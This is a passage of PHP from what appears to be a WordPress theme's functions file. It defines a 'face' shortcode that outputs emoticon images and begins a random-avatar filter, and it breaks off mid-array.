add_filter('nav_menu_css_class', 'mytheme_nav_menu_css_class');
function showFace($atts, $content = null)
{
extract(shortcode_atts(array(
"p" => '',
"g" => '',
), $atts));
if ($p != '') {
$name = $p;
$format = 'png';
} else {
$name = $g;
$format = 'gif';
}
return '<img src=' . get_stylesheet_directory_uri() . '/faces/' . $name . '.' . $format . ' class="cmt_faces">';
}
add_shortcode("face", "showFace");
add_filter('get_avatar', 'inlojv_custom_avatar', 10, 5);
function inlojv_custom_avatar($avatar, $id_or_email, $size, $default, $alt)
{
global $comment, $current_user;
if (count((array)get_option('random_avatar')) > 0) {
$current_email = is_int($id_or_email) ? get_user_by('ID', $id_or_email)->user_email : $id_or_email;
$current_email = is_object($current_email) ? $current_email->comment_author_email : $current_email;
$email = !empty($comment->comment_author_email) ? $comment->comment_author_email : $current_email;
if (get_option('random_avatar')) {
$random_avatar_arr = get_option('random_avatar');
} else {
$random_avatar_arr = array(
array(
"avatar" => get_stylesheet_directory_uri() . "/assets/imgs/default_avatar.jpg"
)